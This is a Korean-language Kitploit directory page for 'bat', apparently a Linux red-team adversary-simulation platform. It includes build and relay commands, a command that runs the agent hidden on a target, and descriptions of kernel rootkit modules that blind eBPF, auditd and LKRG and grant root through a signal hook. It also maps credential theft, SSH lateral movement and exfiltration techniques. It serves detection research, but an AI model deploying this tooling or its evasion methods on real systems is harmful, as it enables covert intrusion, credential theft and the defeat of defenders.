Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
bat — 풀스펙트럼 Linux 적대자 시뮬레이션 플랫폼으로, 커널 수준의 은닉, C2 비콘 통신, 권한 상승, 자격 증명 수집, 측면 이동, 아티팩트 파괴 기능을 제공합니다. 레드 팀 운영 및 탐지 연구를 위해 설계되었습니다. | Kitploit
도구/GitHubGitHub/rhzv0/bat
Privilege EscalationPersistence MechanismsLateral MovementData ExfiltrationPost-ExploitationCommand and ControlRed TeamingPayload Development
GitHubrhzv0/bat

bat

풀스펙트럼 Linux 적대자 시뮬레이션 플랫폼으로, 커널 수준의 은닉, C2 비콘 통신, 권한 상승, 자격 증명 수집, 측면 이동, 아티팩트 파괴 기능을 제공합니다. 레드 팀 운영 및 탐지 연구를 위해 설계되었습니다.

저장소 보기
364184개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Behavioral Adversary Tracer (BAT)

banner0

BAT는 Linux와 Windows를 위한 현실적이고 진화하는 적대자 위협 모델입니다. C2 프레임워크도 아니고 루트킷도 아닙니다. C2 통신, 커널 수준 은닉 루트킷 모듈, 사용자 공간 회피, 권한 상승, 지속성, 프로세스 인젝션, 자격 증명 수집, 외부 유출, 그리고 측면 이동을 하나의 응집된 적대자로 통합하는 완전한 위협 시뮬레이션 플랫폼입니다. 설계 목표는 현재 어떤 탐지 시스템이 탐지하는지와 무관하게 2026년에 달성 가능한 가장 정교하고 현실적인 Linux 위협이 되는 것입니다.

이는 연구 쌍에서 적대자 쪽에 해당합니다. Aura 프레임워크는 Bat을 탐지하도록 진화합니다. Bat은 Aura를 회피하도록 진화합니다. 적대자는 결코 탐지기에 의해 제약받지 않습니다.


ss

빠른 시작

1. 사전 요구 사항```bash

apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest

### 2. 설정```bash
cp build.env.example build.env
nano build.env      # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN

시크릿 생성: openssl rand -hex 16

3. 빌드```bash

./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only

바이너리는 `bin/`에 생성됩니다.

### 4. 릴레이 부트스트랩```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh

# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/

5. 실행```bash

./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed

대상에 에이전트를 배포하십시오:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown

에이전트는 하나의 비콘 간격(기본 30초) 내에 bat-server에 <agentID>@<hostname>으로 나타납니다.


Linux 스텔스 계층: Singularity

커널 스텔스 계층(bat-stealth.ko, 소스는 kperf-qos/에 위치)은 고급 커널 루트킷 연구 프레임워크인 Singularity를 직접 기반으로 구축되었습니다. 4개의 핵심 모듈이 포팅되어 적용되었습니다:

bpf_hook: bpf(2) 및 모든 eBPF 통신 프리미티브를 가로챕니다. 숨겨진 PID에 대해 모든 eBPF 센서는 아무런 텔레메트리도 수신하지 못합니다. 적용 사항: ARCH_SYS("bpf")가 x86 전용 __x64_sys_bpf를 대체하며, ARM64용 __ia32_sys_bpf는 제거되었습니다. HIDDEN_PORT는 sysfs로 구성 가능한 전역 변수로 대체되었습니다.

hiding_fs: 완전한 파일시스템 은닉: getdents64/getdents 필터링, stat/statx/newfstatat nlink 조정, openat/access/faccessat /proc/<pid> 차단, chdir 및 readlink 차단. 5개의 Singularity 모듈(hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink)에서 통합되었습니다. 적용 사항: REGS_ARGn 매크로가 직접 레지스터 접근을 대체하며, should_hide_path()는 런타임 구성 가능한 bat_hidden_paths[]를 위해 확장되었습니다.

hide_module: 모든 커널 모듈 목록에서 bat-stealth.ko를 제거합니다. 확장 사항: Singularity는 이미 list.prev를 저장합니다. 이 버전은 list.prev와 list.next를 모두 저장하고 둘 다 포이즈닝하여 양방향 순회를 차단합니다. module_unhide()가 추가되어 되돌릴 수 있는 제거가 가능합니다. K-99는 delete_module(2)이 이름으로 모듈을 찾을 수 있도록 이를 필요로 합니다.

lkrg_bypass: 숨겨진 프로세스에 대한 LKRG 강제 적용을 억제합니다: 숨겨진 태스크에 대한 SIGKILL을 차단하도록 시그널 전달을 후킹하고, LKRG 로그 메시지를 삭제하도록 vprintk_emit을 후킹하며, 에이전트 실행 중 UMH 검증을 비활성화합니다. 아키텍처 변경 없이 직접 포팅되었습니다.

다음 모듈은 독립적으로 개발되었습니다:

  • become_root: commit_creds(prepare_kernel_cred(NULL))를 호출하여 uid=0을 부여하는 시그널 59 후크 (K-03)
  • selfdefense: LiME 메모리 수집을 차단하고, kallsyms 항목을 숨기며, 에이전트 심볼에 대한 kprobe를 차단하고, 열거 시도가 있으면 모듈을 다시 숨깁니다.
  • audit: 숨겨진 PID에 대한 auditd 이벤트를 억제합니다.
  • sysrq_hook: SysRq-T를 가로채 태스크 덤프에서 숨겨진 프로세스를 제외합니다.
  • taskstats_hook: 숨겨진 PID에 대한 NETLINK taskstats 응답을 필터링합니다.
  • reset_tainted + clear_taint_dmesg: /proc/sys/kernel/tainted를 0으로 설정하고 모듈 로드 증거가 포함된 dmesg 라인을 필터링합니다.
  • hooks_write: 모든 커널 쓰기 경로(write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat)를 가로채 syslog 또는 journald에 도달하기 전에 에이전트 문자열과 일치하는 로그 항목을 삭제합니다.
  • pid_manager: 자식 프로세스 전반에 걸쳐 숨겨진 PID 집합을 유지하는 fork tracepoint입니다.

전체 스택은 에이전트와 모든 아티팩트를 ps, top, ss, netstat, lsof, 숨겨진 경로의 파일시스템 탐색, lsmod, sysfs, kallsyms, auditd, 모든 eBPF 센서, LKRG, LiME 및 SysRq 포렌식으로부터 보이지 않게 만듭니다.


MITRE ATT&CK 적용 범위

ATT&CK ID기법Bat 구현
T1036.005Masquerading: Match Legitimate NameTTP 1: prctl(PR_SET_NAME)을 kworker/0:1로 설정
T1055Process InjectionTTP 11: 실행 중인 프로세스에 shellcode + rawsock 스레드 주입
T1205.001Traffic Signaling (Magic Packet)UDP/ICMP 트리거가 휴면 상태의 에이전트를 깨웁니다.
T1071.001Web Protocols C2:443 또는 :9443을 통한 HTTPS 비콘
T1573.001Encrypted Channel: SymmetricTLS를 통한 HMAC-SHA256 인증 비콘
T1090.004Proxy: Domain FrontingCDN 프로필이 에이전트 트래픽을 엣지 프록시 계층을 통해 라우팅합니다.
T1574.006Hijack Execution: LD_PRELOADTTP 10: /etc/ld.so.preload를 통한 bat-rootkit.so
T1014Rootkitbat-stealth.ko: PID, 포트, 파일, 모듈, 자신을 숨깁니다.
T1562.001Impair Defenses: Disable Toolsbpf_hook이 eBPF 센서를 블라인드 처리하고, lkrg_bypass는 LKRG를 비활성화합니다.
T1562.012Impair Defenses: Disable Linux Auditaudit 모듈이 숨겨진 PID에 대한 auditd 이벤트를 억제합니다.
T1068Privilege Escalation via ExploitationK-03: 시그널 59가 commit_creds를 트리거하여 uid=0으로 전환
T1543.002Create/Modify System Process: SystemdTTP 6: systemd 유닛 지속성
T1053.003Scheduled Task: CronTTP 6: crontab 지속성
T1070.002Clear Linux Logsclear_taint_dmesg가 dmesg를 필터링하고, reset_tainted는 taint 플래그를 0으로 설정하며, hooks_write는 커널 내에서 로그 항목을 삭제합니다.
T1070.004Indicator Removal: File DeletionTTP 222 자체 파괴: 전체 아티팩트 삭제
T1003Credential DumpingTTP 7/23: /etc/shadow, 셸 기록, 환경 변수 비밀값
T1552.004Unsecured Credentials: Private KeysTTP 21: SSH 키, known_hosts, 설정 파일
T1552.005Cloud Instance MetadataTTP 23: AWS IMDS 자격 증명 수집
T1018Remote System DiscoveryTTP 20/34: ARP 열거 + /16 CIDR 스캔
T1046Network Service ScanningTTP 20/34: 발견된 호스트에 대한 TCP 포트 스캔
T1021.004Lateral Movement via SSHTTP 22/35: 발견된 호스트로 SCP 자가 복제 후 분리 실행
T1078Valid AccountsTTP 22/35: 측면 이동 시 수집된 SSH 키 사용
T1048Exfiltration Over Alternative ProtocolTTP 30/31/32: 비콘 채널을 통한 파일 및 디렉터리 유출
T1059.004Unix Shell ExecutionTTP 4: 임의 명령 실행
T1027Obfuscated Files or Informationgarble -literals -tiny -seed=random; XOR(0x5A) 설정 인코딩
T1620Reflective Code LoadingTTP 11: 대상 프로세스 주소 공간에서 실행되는 shellcode, memfd_create를 통해 로드되는 bat-stealth.ko

아키텍처```

Target Relay (VPS) Operator (local)

bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)

bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)

| Component | 역할 |
|---|---|
| `bat-agent` | 에이전트. 비콘을 보내고 TTP를 실행합니다. Garble로 난독화됨. |
| `bat-server` | 운영자 콘솔. 대화형 CLI. 모든 에이전트를 관리합니다. |
| `netshell` | 전달 바이너리. 시스템 도구처럼 보이지만 완전한 에이전트입니다. |
| `bat-rootkit.so` | LD_PRELOAD 사용자 영역 루트킷. 파일, PID, 포트, 환경 변수를 숨깁니다. |
| `bat-stealth.ko` | 커널 은닉 계층 (Singularity 기반). |
| `kcc-server` | 릴레이 서비스. 대상의 실행 중인 커널에 맞춰 `bat-stealth.ko`를 온디맨드로 컴파일합니다. |
| `relay/` | 릴레이 인프라: nginx, TLS, 설정, 동기화, 전달 스크립트. |

---

## 우회된 방어
도구 다운로드